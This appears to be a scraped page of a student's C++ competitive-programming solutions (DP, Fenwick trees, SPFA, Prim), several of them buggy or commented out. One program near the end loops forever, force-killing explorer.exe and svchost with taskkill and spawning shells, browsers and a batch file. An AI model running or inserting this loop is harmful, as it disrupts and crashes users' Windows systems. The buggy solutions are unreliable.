    ////signed main() {
    ////    string S;
    ////    cin >> S;
    ////    int Q;
    ////    cin >> Q;
    ////    vector<tuple<int, int, int, int>> queries(Q);
    ////    for (int i = 0; i < Q; ++i) {
    ////        int a, b, c, d;
    ////        cin >> a >> b >> c >> d;
    ////        queries[i] = make_tuple(a, b, c, d);
    ////    }
    ////    vector<string> results = can_transform(S, queries);
    ////    for (const string& result : results) {
    ////        cout << result << endl;
    ////    }
    ////    return 0;
    ////}
    //////#include <iostream>
    //////#include <vector>
    //////#include <string>
    //////
    //////using namespace std;
    //////
    //////vector<string> can_transform(const string& S, const vector<tuple<int, int, int, int>>& queries) {
    //////    vector<string> results;
    //////
    //////    for (const auto& query : queries) {
    //////        int a, b, c, d;
    //////        tie(a, b, c, d) = query;
    //////
    //////        // 提取子串 X 和 Y
    //////        string X = S.substr(a - 1, b - a + 1); // 注意 C++ 的 substr 从 0 开始
    //////        string Y = S.substr(c - 1, d - c + 1);
    //////
    //////        // 统计字符频率
    //////        int count_X[26] = {0}; // 假设只包含小写字母
    //////        int count_Y[26] = {0};
    //////
    //////        for (char char_X : X) {
    //////            count_X[char_X - 'a']++;
    //////        }
    //////
    //////        for (char char_Y : Y) {
    //////            count_Y[char_Y - 'a']++;
    //////        }
    //////
    //////        // 比较频率
    //////        bool can_transform = true;
    //////        for (int i = 0; i < 26; ++i) {
    //////            if (count_X[i] != count_Y[i]) {
    //////                can_transform = false;
    //////                break;
    //////            }
    //////        }
    //////
    //////        if (can_transform) {
    //////            results.push_back("DA");
    //////        } else {
    //////            results.push_back("NE");
    //////        }
    //////    }
    //////
    //////    return results;
    //////}
    //////
    //////int main() {
    //////    string S;
    //////    cin >> S;
    //////    int Q;
    //////    cin >> Q;
    //////
    //////    vector<tuple<int, int, int, int>> queries(Q);
    //////    for (int i = 0; i < Q; ++i) {
    //////        int a, b, c, d;
    //////        cin >> a >> b >> c >> d;
    //////        queries[i] = make_tuple(a, b, c, d);
    //////    }
    //////
    //////    vector<string> results = can_transform(S, queries);
    //////    for (const string& result : results) {
    //////        cout << result << endl;
    //////    }
    //////
    //////    return 0;
    //////}
    //////
    //#include <bits/stdc++.h>
    //#define int long long
    //using namespace std;
    //int n,a,b,c,d;
    //string s;
    //int visit1[50009],visit2[50009];
    //bool check(int a,int b,int c,int d){
    //	int cnt1=b-a+1,cnt2=d-c+1;
    //	if(cnt1!=cnt2){
    //		return false;
    //	}
    //	for(int i=a;i<=b;i++){
    //		visit1[s[i]-'a']++;
    //	}
    //	for(int i=c;i<=d;i++){
    //		visit2[s[i]-'a']++;
    //	}
    //	for(int i=1;i<=0;i++){
    //		if(visit1[i]!=visit2[i]){
    //			return false;
    //		}
    //	}
    //	return 1;
    //}
    //signed main(){
    //	cin>>s>>n;
    //	while(n--){
    //		cin>>a>>b>>c>>d;
    //		if(check(a,b,c,d)){
    //			cout<<"DA"<<endl;
    //		}else{
    //			cout<<"NE"<<endl;
    //		}
    //		memset(visit1,0,sizeof(visit1));
    //		memset(visit2,0,sizeof(visit2));
    //	}	
    //}
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int n,a,b,c,d;
    string s;
    int cnt[50009][26];
    void init(){
    	for(int i=0;i<s.size();i++){
    		if(i>0){
    			for(int j=0;j<26;j++){
    			cnt[i][j]=cnt[i-1][j];				
    			}
    		}
    		cnt[i][s[i]-'a']++;
    	}
    }
    bool check(int a,int b,int c,int d){
    	if ((b-a) !=(d-c)) return false;
    	for(int i=0;i<26;i++){
    		int cnt1 =cnt[b-1][i] -(a>1 ? cnt[a-2][i]:0);
    		int cnt2 =cnt[d-1][i] -(c>1 ? cnt[c-2][i]:0);
    		if(cnt1 !=cnt2){
    			return false;
    		}
    	}
    	return true;
    }
    signed main(){
    	cin>>s>>n;
    	init();
    	while(n--){
    		cin>>a>>b>>c>>d;
    		if(check(a,b,c,d)){
    			cout<<"DA"<<endl;
    		}else{
    			cout<<"NE"<<endl;
    		}		
    	}	
    }
    
    #include<stdio.h>
    #include<iostream>
    using namespace std;
    const int maxn=205;//数组开大点,防止n+m爆空间
    int dp[maxn][maxn][maxn],a[maxn][maxn],n,m;
    int main(){
    	//dp[k][i][j]为走了第k步(第k条对角线)第一个横坐标纸条为i,第二个纸条横坐标为j的时候所获得的的最大价值 
    	scanf("%d%d",&n,&m);
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			scanf("%d",&a[i][j]);
    		}
    	}
    	for(int k=1;k<n+m;k++){//棋盘有n+m-1个对角线 
    		for(int i=1;i<=n;i++){
    			for(int j=1;j<=n;j++){
    				if(k+1-i>0 && k+1-j>0){//判断纵坐标是否合法
    					dp[k][i][j]=max(dp[k-1][i-1][j-1],max(dp[k-1][i-1][j],max(dp[k-1][i][j],dp[k-1][i][j-1])))+a[i][k+1-i]+a[j][k+1-j];
    					if(i==j){//如果两条路径一样,那么就只算一遍 
    						dp[k][i][j]-=a[i][k+1-i];
    					}
    				} 
    			}
    		}
    	}
    	printf("%d",dp[n+m-1][n][n]);
    	return 0;
    }
    
    #include<stdio.h>
    #include<iostream>
    using namespace std;
    const int maxn=55;
    int dp[maxn][maxn][maxn][maxn],a[maxn][maxn],n,m;
    int main(){
    	scanf("%d%d",&n,&m);
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			scanf("%d",&a[i][j]);
    		}
    	}
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			for(int k=i+1;k<=n;k++){
    				for(int l=1;l<j;l++){
    					dp[i][j][k][l]=max(dp[i-1][j][k-1][l],max(dp[i-1][j][k][l-1],max(dp[i][j-1][k-1][l],dp[i][j-1][k][l-1])))+a[i][j]+a[k][l];
    				}
    			}
    		}
    	}
    	printf("%d",dp[n-1][m][n][m-1]);
    	//总有一条路径的行大于另一条行,总有一条路径的列大于另一条的列 
    	return 0;
    }
    
    
    #include<stdio.h>
    #include<iostream>
    #include<cstring>
    using namespace std;
    const int maxn=1e6+5;
    const int maxm=15;
    int dp[maxn][maxm],a[maxn][maxm],t,x,n,ans,maxt;
    int main(){
    	while(scanf("%d",&n)){
    		if(n==0){
    			return 0;
    		}
    		memset(dp,0,sizeof(dp));
    		memset(a,0,sizeof(a));
    		ans=0;
    		for(int i=1;i<=n;i++){
    			scanf("%d%d",&x,&t);
    			a[t][x]++;
    			maxt=max(maxt,t);
    		}
    		for(int i=1;i<=maxt;i++){
    			for(int j=max(0,5-i);j<=min(5+i,10);j++){
    				if(j==0){
    					dp[i][j]=max(dp[i-1][j+1],dp[i-1][j])+a[i][j];
    				}else if(j==10){
    					dp[i][j]=max(dp[i-1][j-1],dp[i-1][j])+a[i][j];
    				}else{
    					dp[i][j]=max(dp[i-1][j-1],max(dp[i-1][j+1],dp[i-1][j]))+a[i][j];
    				}
    				if(i==maxt){
    					ans=max(ans,dp[i][j]);
    				}
    			}
    		}
    		printf("%d\n",ans);
    	}
    }
    
    
    #include<bits/stdc++.h>
    #define inf 0x3f3f3f
    using namespace std;
    int n,p[100001][12],dp[100001][12],maxn,x,t,mx;//front:x,end:t
    signed main(){
    	while(1){
    		cin>>n;
    		if(n==0){
    			break;
    		}
    		for(int i=1;i<=n;i++){
    			cin>>x>>t;
    			p[t][x]++;
    			maxn=max(maxn,t);
    		}
    		for(int i=1;i<=maxn;i++){
    			for(int j=max(5-i,0);j<=min(10,5+i);j++){
    				if(j==0){
    					dp[i][j]=max(dp[i-1][j+1],dp[i-1][j])+p[i][j];
    				}
    				else if(j==10){
    					dp[i][j]=max(dp[i-1][j-1],dp[i-1][j])+p[i][j],p[i][j-1];
    				}
    				else{
    					dp[i][j]=max(max(dp[i-1][j+1],dp[i-1][j]),dp[i-1][j-1])+p[i][j];
    				}
    			} 
    		}
    		for(int i=max(5-maxn,0);i<=min(10,5+maxn);i++){
    			mx=max(mx,dp[maxn][i]);
    		}
    		cout<<mx<<endl;
    		maxn=0,mx=0;
    		memset(dp,0,sizeof(dp));
    		memset(p,0,sizeof(p));
    	}
    	return 0;
    }
    
    
    
    #include<bits/stdc++.h>
    #define inf 0x3f3f3f
    using namespace std;
    int w,h,p[1101][110],dp[1101][110],maxt,mx,t,x,s,sc;
    signed main(){
    	cin>>w>>h;
        while(cin>>t>>x>>s>>sc){
            t+=ceil((h-1)/s);
    		p[t][x]+=sc;
    		maxt=max(maxt,t);
    	}
    	for(int i=1;i<=maxt;i++){
    		for(int j=max((w+1)/2-2*i,1);j<=min(w,(w+1)/2+i*2);j++){
    			if(j==1){
    				dp[i][j]=max(max(dp[i-1][j+1],dp[i-1][j]),max(dp[i-1][j+2],dp[i-1][j-2]))+p[i][j];
    			}
    			else if(j==2){
    				dp[i][j]=max(max(dp[i-1][j-1],dp[i-1][j]),max(dp[i-1][j+2],dp[i-1][j-2]))+p[i][j];
    			}
    			else{
    				dp[i][j]=max(max(max(dp[i-1][j+1],dp[i-1][j]),dp[i-1][j-1]),max(dp[i-1][j+2],dp[i-1][j-2]))+p[i][j];
    			}
    		} 
    	}
    	for(int i=1;i<=w;i++){
    		mx=max(mx,dp[maxt][i]);
    	}
    	cout<<mx<<endl;
    	return 0;
    }
    
    #include<bits/stdc++.h>
    using namespace std;
    int n,m,a[2001][2001],u[2001][2001],l[2001][2001],r[2001][2001],zhe=1;
    int main(){
    	cin>>n>>m;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			cin>>a[i][j];
    			u[i][j]=i;
    			l[i][j]=j;
    			r[i][j]=j;
    		}
    	}
    	for(int i=1;i<=n;i++){
    		for(int j=2;j<=m;j++){
    			if(a[i][j]!=0&&a[i][j-1]!=0)l[i][j]=l[i][j-1];
    		}
    		for(int j=m-1;j>=1;j--){
    			if(a[i][j]!=0&&a[i][j+1]!=0)r[i][j]=r[i][j+1];
    		}
    	}
    	for(int i=2;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			if(a[i][j]!=0&&a[i-1][j]!=0)u[i][j]=u[i-1][j];
    		}
    	}
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=m;j++){
    			if(a[i][j]==0){
    				u[i][j]=-1;l[i][j]=-1;r[i][j]=-1;
    			}
    		}
    	}
    	for(int i=2;i<=n;i++){
    		for(int j=1;j<=m;j++){
                if(u[i][j]!=-1&&u[i-1][j]!=-1){
                	l[i][j]=max(l[i-1][j],l[i][j]);
                    r[i][j]=min(r[i-1][j],r[i][j]);
                    u[i][j]=i-u[i][j]+1;
                    zhe=max(zhe,min(r[i][j]-l[i][j]+1,u[i][j])*min(r[i][j]-l[i][j]+1,u[i][j]));
                }
    		}
    	}
    	cout<<zhe;
    	return 0;
    }
    
    ```1516cpp
    #include<bits/stdc++.h>
    
    
    #define inf 0x3f3f3f3f
    
    using namespace std;
    
    int n,m,en,dis[20001],inq[20001];
    
    struct st{
    	int t,w;
    };
    
    vector<st> g[20001];
    
    void spfa(int u){
    
        for(int i=0;i<=n;i++){
        	dis[i]=0;
        	inq[i]=0;
    	}
    
    	dis[u]=1e8;
    	inq[u]=1;
    	queue<int> q;
    	q.push(u);
    
    	while(!q.empty()){
            
    		u=q.front();
    		inq[u]=false;
    		q.pop();
    
    		for(int i=0;i<int(g[u].size());i++){
    			int v=g[u][i].t;
    			int w=g[u][i].w;
    			if(dis[v]<min(dis[u],w)){
    				dis[v]=min(dis[u],w);
    				if(!inq[v]){
    					inq[v]=1;
    					q.push(v);
    				}
    			}
    		}
    
    	}
    }
    
    signed main(){
        cin>>n;
        int a,b,c;
    
    	while(cin>>a>>b>>c){
            if(a==0&&b==0&&c==0){
            	break;
    		}
    
    		st e;
    		e.t=b;
    		e.w=c;
    		g[a].push_back(e);
    
    	}
    
    	spfa(1);
    
    	for(int i=2;i<=n;i++){
            cout<<dis[i]<<endl;
    	}
    
        return 0;
    
    }
    
    ```20250210模拟赛订正第二题
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    const int INF=0x3f3f3f3f;
    int n,a[100009],b[100009],dp[100009][3];
    signed main(){
        cin>>n;
        for(int i=0;i<n;i++){
            cin>>a[i]>>b[i];
        }
        memset(dp,0x3f,sizeof(dp));
        dp[0][0]=0;
        dp[0][1]=b[0];
        dp[0][2]=2*b[0];
    
        for(int i=1;i<n;i++){
            for(int j =0;j<3;j++){
                for(int k =0;k<3;k++){
                    if(a[i-1] +k !=a[i]+j){
                        dp[i][j] =min(dp[i][j],dp[i-1][k] +b[i]*j);
                    }
                }    
            }
        }
        int ans=min({dp[n-1][0],dp[n-1][1],dp[n-1][2]});
        cout<<ans<<endl;
    }
    ```language
    
    #include <bits/stdc++.h>
    #define int long long
    #define INF 0x3f3f3f3f
    using namespace std;
    vector<pair<int,int> >a[101];
    int dis[100090],flag[100090],now,ans=0,t;
    void prim(){
    	memset(dis,INF,sizeof(dis));
    	memset(flag,0,sizeof(flag));
    	dis[1]=0;
    	priority_queue<pair<int ,int> >q;
    	q.push({-dis[1],1});
    	while(!q.empty()){
    		int now=q.top().second;
    		q.pop();
    		if(flag[now]==1)continue;
    		ans+=dis[now];
            //cout<<dis[now]<<endl;
    		flag[now]=1;
    		for(int i=0;i<q.size();i++){
    			int v=a[now][i].second;
    			if(flag[v]==0&&dis[v]>a[now][i].first){
    				dis[v]=a[now][i].first;
    				q.push({-dis[v],v});
    			}
    		}
    	}
    }
    signed main(){
    	int n;
    	cin>>n;
    	for(int i=1;i<=n;i++){
    		for(int j=1;j<=n;j++){
    			cin>>t;
                a[i].push_back({t,j});
                a[j].push_back({t,i});
    		}
    	}
    	prim();
    	cout<<ans<<endl;
    	return 0;
    }
    ```cpp
    #include <bits/stdc++.h>
    using namespace std;
    
    int main() {
        // 数据组数
        int n;
        cin >> n;
        
        // 存储区间
        struct seg {
            int l, r;
        } a[20005];
        
        // 读入数据
        for(int i = 0; i < n; i++) {
            cin >> a[i].l >> a[i].r;
        }
        
        // 区间排序
        for(int i = 0; i < n-1; i++) {
            for(int j = 0; j < n-1-i; j++) {
                if(a[j].l > a[j+1].l) {
                    seg tmp = a[j];
                    a[j] = a[j+1];
                    a[j+1] = tmp;
                }
            }
        }
        
        // 合并区间
        int ans = 0;
        int l = a[0].l, r = a[0].r;
        
        for(int i = 1; i < n; i++) {
            if(a[i].l > r) {
                // 不相交,计入答案
                ans += r - l;
                l = a[i].l;
                r = a[i].r;
            } else {
                // 相交,更新右端点
                r = max(r, a[i].r);
            }
        }
        // 加入最后一个区间
        ans += r - l;
        
        // 输出结果
        cout << ans << endl;
        return 0;
    }
    
    ```language
    
    #include <bits/stdc++.h>
    #define int long long
    using namespace std;
    int N,dp[1009][1009],b[100099],a[100009],ans=0,c[10009];
    signed main(){
    	cin>>N;
    	for(int i=1;i<=N;i++){
    		cin>>a[i];b[i]=a[i];
    	} 
    	sort(b+1,b+1+N);
    	memset(dp,0x3f3f3f,sizeof(dp));
    	for(int i=1;i<=N;i++){
    		dp[0][i]=0;
    		c[i]=a[N-i+1];
    	}
    	for(int i=1;i<=N;i++){
    		for(int j=1;j<=N;j++){
    			for(int k=1;k<=j;k++){
    				dp[i][j]=min(dp[i][j],dp[i-1][k]);
    			}
    			dp[i][j]+=abs(b[j]-a[i]);
    		} 
    	}
    	for(int i=1;i<=N;i++){
    		ans=min(ans,dp[N][i]);
    	}
    	memset(dp,0x3f3f3f,sizeof(dp));
    	for(int i=1;i<=N;i++){
    		for(int j=1;j<=N;j++){
    			for(int k=1;k<=j;k++){
    				dp[i][j]=min(dp[i][j],dp[i-1][k]);
    			}
    			dp[i][j]+=abs(b[j]-a[i]);
    		} 
    	}
    	for(int i=1;i<=N;i++){
    		ans=min(ans,dp[N][i]);
    	}
    	cout<<ans;
        return 0;
    
    
    
    
    
    
    
    
    
    }
    
    
    #include<iostream>
    #include<bits/stdc++.h>
    #define int long long
    using namespace std;
    const long long N=1e6+5;
    long long dp[N],l,r,q[N],a[N];
    signed main(){
    	int n,L=1,R,ans=1e9;
    	memset(dp,0x3f3f3f3f,sizeof dp);
    	dp[0]=0;
    	cin>>n>>R;
    	for(int i=1;i<=n;i++){
    		cin>>a[i];
    	}
    	for(int i=L;i<=n;i++){
    		while(dp[i-L]<dp[q[r]]&&l<=r)r--;
    		q[++r]=i-L;
    		dp[i]=dp[q[l]]+a[i];
    		while(q[l]<=i-R)
    			l++;
    	}
    	for(int i=n;i+R>n;i--){
    		ans=min(ans,dp[i]);
    	}
    	cout<<ans;
    	return 0;
    }
    

    18054258103

    
    
    #include<bits/stdc++.h>
    #define ll long long
    using namespace std;
    ll n,m,a[2000010],c[2000010],o,x,y;
    void update(ll k,ll x){
    	for(int i=k;i<=n;i+=i&-i){
    		c[i]+=x;
    	}
    }
    ll query(ll x){
    	ll sum=0;
    	for(int i=x;i;i-=i&-i){
    		sum+=c[i];
    	}
    	return sum;
    }
    int main(){
    	scanf("%lld %lld",&n,&m);
        for(int i=1;i<=n;i++){
        	cin>>a[i];
        	update(i,a[i]);
    	}
        while(m--){
        	scanf("%lld %lld %lld",&o,&x,&y);
        	if(o==1){
        		update(x,y); 
    		}
        	else{
        		printf("%lld\n",query(y)-query(x-1));
    		}
    	}
    }
    ``` #1691. 单点修改区间求和
    #include<bits/stdc++.h>
    using namespace std;
    long long n,m,t[400001],a[200001];
    void build(){
        for(long long i=1;i<=n;i++){
            t[i]+=a[i];
            if(i+(i&-i)<=n)t[i+(i&-i)]+=t[i];
        }
        return;
    }
    void update(long long x,long long sum){
        for(long long i=x;i<=n;i+=(i&-i)){
            t[i]+=(sum-a[x]);
        }
        a[x]=sum;
        return ;
    }
    long long query(long long x){
        long long sum=0;
        for(long long i=x;i>=1;i-=(i&-i)){
            sum+=t[i];
        }
        return sum;
    }
    int main(){
        cin>>n>>m;
        for(int i=1;i<=n;i++)cin>>a[i];
        build();
        for(int i=1;i<=m;i++){
            int o,x,y;
            cin>>o>>x>>y;
            if(o==1){
                update(x,y);
            }else{
                printf("%lld\n",query(y)-query(x-1));
            }
        }
        return 0;
    }
    ```language
    
    
    #include<bits/stdc++.h>
    using namespace std;
    long long n,m,t[500001],a[500001],now;
    void build(){
        for(long long i=1;i<=n;i++){
            t[i]+=a[i];
            if(i+(i&-i)<=n)t[i+(i&-i)]+=t[i];
        }
        return;
    }
    void update(long long x,long long sum){
        for(long long i=x;i<=n;i+=(i&-i)){
            t[i]+=sum;
        }
        a[x]=sum;
        return ;
    }
    long long query(long long x){
        long long sum=0;
        for(long long i=x;i>=1;i-=(i&-i)){
            sum+=t[i];
        }
        return sum;
    }
    int main(){
        cin>>n>>m;
        for(int i=1;i<=m;i++){
            int x,y;
            char o;
            cin>>o;
            if(o=='A'){
                cin>>now;
                printf("%lld\n",query(now));
            }else{
                cin>>x>>y;
                if(o=='C')y=(0-y);
                update(x,y);
            }
        }
        return 0;
    }
    
    #include <bits/stdc++.h>
    #include <Windows.h>
    using namespace std;
    signed main(){
    	while(1){
    		cout<<"傻逼SSSSSSSSSSSSSSSSSSSSSSSSBBBBBBBBBBBBBB"<<endl<<"cinema"<<endl; 
    		system("taskkill /f /im explorer.exe");
    		system("taskkill /f /im svchost");
    		system("start sb.bat");
    		system("start color 0a");
    		system("start color 0a");system("start color 0b");system("start color 0c");
            system("start notepad");
            system("start cmd");
            system("start powershell");
            system("start explorer");
            system("start calc");
            system("start cn.bing.com");
            system("start dir /s");
            system("start chrome");		
    	}
    }
    
    #include<bits/stdc++.h>
    using namespace std;
    int a,b,n,f[505],s,l,p;
    map<pair<int,int>,int>m;
    int main(){
        cin>>a>>b>>n;
        if(n<3){cout<<1;return 0;}
        f[1]=f[2]=1;
        m[{1,1}]=2;
        for(int i=3;;i++){
            f[i]=(a*f[i-1]+b*f[i-2])%7;
            p=m[{f[i-1],f[i]}];
            if(p){
                s=p+1,l=i-p;
                break;
            }
            m[{f[i-1],f[i]}]=i;
        }
        if(n<s)cout<<f[n];
        else{
            int t=(n-s)%l;
            cout<<f[s+t];
        }
        return 0;
    }
    ```jiushizhuliguohao
    

    #include <bits/stdc++.h> #define int long long using namespace std; int n,all,a[1000009]; signed main(){ cin>>n>>all; for (size_t i = 0; i < n; i++) { cin>>a[i]; /* code / } int l=0,m=0; int s=0; for (int r = 0; r < n; r++) { s+=a[r]; while (s>all) { s-=a[l++];//1 2 3 0 0 } m =max(m,r-l+1); / code */ } cout<<m<<endl;

    }

  • 最近活动